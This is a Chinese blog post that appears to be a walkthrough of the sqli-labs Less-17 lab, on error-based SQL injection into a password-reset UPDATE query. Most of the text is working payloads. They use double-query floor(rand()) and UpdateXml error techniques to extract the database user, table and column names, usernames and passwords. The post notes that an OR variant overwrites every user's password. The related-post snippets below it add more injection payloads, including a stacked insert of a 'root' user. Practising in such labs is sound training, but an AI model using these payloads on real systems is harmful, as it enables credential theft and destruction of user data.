这是一个重置密码界面,查看源码可以看到username作了防注入处理

逻辑是先通过用户名查出数据,在进行密码的update操作

所以要先知道用户名,实际情况中可以注册用户然后实行攻击,这里先用admin演示

这和前几个less都不一样,并不能 通过union select进行查询其他数据,但是由于update语句的出错信息没有被屏蔽,所以可以基于错误进行注入。

收集了一下,有两个方法可以实行注入取出数据,构造类似双注入的查询报错和使用updatexml函数进行报错

双注入构造下面的SQL语句执行,爆出当前用户root@localhost

UPDATE users SET password='' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,user(),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#' WHERE username='admin';

对应的payload

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,user(),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

当前数据库中的表名

payload

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

选定users表获取列名

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

取数据

username

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT username FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

password

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

第一个用户Dumb Dumb

另一个方法是使用UpdateXml函数

构造如下SQL语句

同样的通过报错的方式拿到信息

UPDATE users SET password='' AND UpdateXml(1,concat(0x7e,database(),0x7e),1)

获取当前数据库

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,database(),0x7e),1)#

获取表名

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),0x7e),1)#

得到数据库security目标表users目标表字段id,username,password

但是这里并不能通过单纯的查询来完成,比如

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#

意图构造

UPDATE users SET password='' AND UpdateXml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#'WHERE username='admin';

这个语句在MySQL中是会报错的(你不可以在同一语句中对一张表进行select再update)

解决的办法是构造出一张中间表,a是别称

UPDATE users SET password='' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 0,1) a),0x7e),1)#'WHERE username='admin';

payload

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 1,1) a),0x7e),1)#

密码

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

有一点需要注意,使用UpdateXml函数时,如果构造这样的语句会报一个类型错误

UPDATE users SET password='a' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#' WHERE username='admin'

password='a'

password='123'时注入回显正常

这个和单字符没有关系,因为password='abc'时一样的报错

既然这个报错在UpdateXml函数之前,那么推测是And运算报的错误,做一个测试

sleep函数执行了,说明and运算执行了,那么'123'转换成布尔必定是1,因为如果转换是0的话and运算就不会执行

而'abc'转换bool必定是0,and运算没有执行,延时没有出现

为什么要执着于此,如果使用了OR构造下面这种payload,UpdateXml函数没有得到执行,语句没有报错,正常执行的结果会替换掉所有的用户密码

uname=admin&passwd=123' OR UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

用'abc'时就会执行OR出现报错

uname=admin&passwd=abc' OR UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

所以对Update语句进行注入一定要谨慎

【sqli-labs】 less17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)的更多相关文章

  1. 【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

    提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" ...

  2. 【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

    实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') ...

  3. 【sqli-labs】 less2 GET - Error based - Intiger based (基于错误的GET整型注入)

    与less1相同,直接走流程 提交参数,直接order by http://localhost/sqli/Less-2/?id=1 order by 1%23 http://localhost/sql ...

  4. 【sqli-labs】 less49 GET -Error based -String -Blind -Order By Clause(GET型基于盲注的字符型Order By从句注入)

    都是order by的注入,作者连图片都懒得改了... 注意和整型的区别,前引号用提交的引号闭合,后引号用#注释 http://192.168.136.128/sqli-labs-master/Les ...

  5. 【sqli-labs】 less47 GET -Error based -String -Order By Clause(GET型基于错误的字符型Order By从句注入)

    http://192.168.136.128/sqli-labs-master/Less-47/?sort=1 改变sort的值,结果仍然是order by 1的结果 http://192.168.1 ...

  6. 【sqli-labs】 less45 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)

    和Less44一个名字 测试一下,发现是')闭合的 login_user=&login_password=1') or sleep(0.1)# 那就是没有错误显示的less42 login_u ...

  7. 【sqli-labs】 less44 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)

    盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数 ...

  8. 【sqli-labs】 less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)

    和less42一样 login_user=&login_password=1');insert into users(id,username,password) value(15,'root' ...

  9. 【sqli-labs】 less42 POST -Error based -String -Stacked(POST型基于错误的堆叠查询字符型注入)

    Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行 ...

随机推荐

  1. 【codeforces 761E】Dasha and Puzzle

    [题目链接]:http://codeforces.com/contest/761/problem/E [题意] 给你一棵树,让你在平面上选定n个坐标; 使得这棵树的连接关系以二维坐标的形式展现出来; ...

  2. 清北学堂模拟赛d2t5 吃东西(eat)

    题目描述一个神秘的村庄里有4家美食店.这四家店分别有A,B,C,D种不同的美食.LYK想在每一家店都吃其中一种美食.每种美食需要吃的时间可能是不一样的.现在给定第1家店A种不同的美食所需要吃的时间a1 ...

  3. PatentTips - Invalidating TLB entries in a virtual machine system

    BACKGROUND This invention relates to virtual machines. In particular, the invention relates to trans ...

  4. 开源GIS软件 2

    Android上的导航软件 AndNav AndNav 是一款 Android 手机上的 GPS导航软件(非开源).软件支持GPS定位信息,目的地查询,道路建议管理,导航提示等功能,十分强大的一款软件 ...

  5. [PWA] Show Notifications when a Service Worker is Installed or Updated

    Service Workers get installed and activated in the background, but until we reload the page they don ...

  6. RPC通信功能实现

    Table of Contents RPC通信功能实现 配置參数 调用方法 RPC通信功能实现 HBase的RPC通信功能主要基于Protobuf和NIO这两个组件来实现.在通信管道上选择的是prot ...

  7. 《Google 软件测试之道》摘录

    最近刚刚看完<Google 软件测试之道>,受益颇多,遂记录下: 只有在软件产品变得重要的时候质量才显得重要 第一章:谷歌软件测试介绍 角色介绍 SWE(Software Engineer ...

  8. Android 下使用opencv

    两种方式: 1.java API 2.Native/C++ 方式,OpenCV.mk中默认使用动态库的方式链接opencv,设置OPENCV_LIB_TYPE:=STATIC 以静态库方式调用 htt ...

  9. 人见人爱A+B(杭电2033)

    /*人见人爱A+B Problem Description HDOJ上面已经有10来道A+B的题目了,相信这些题目以前是大家的最爱,希望今天的这个A+B能给大家带来好运.也希望这个题目能唤起大家对AC ...

  10. CF799B T-shirt buying

    题目大意 有一些衣服,它们有价格.正面的颜色和反面的颜色.现有一群顾客按顺序来买存在某颜色且价格最低的衣服(不存在则不会买),求每个顾客花了多少钱. 思路 #include <cstdio> ...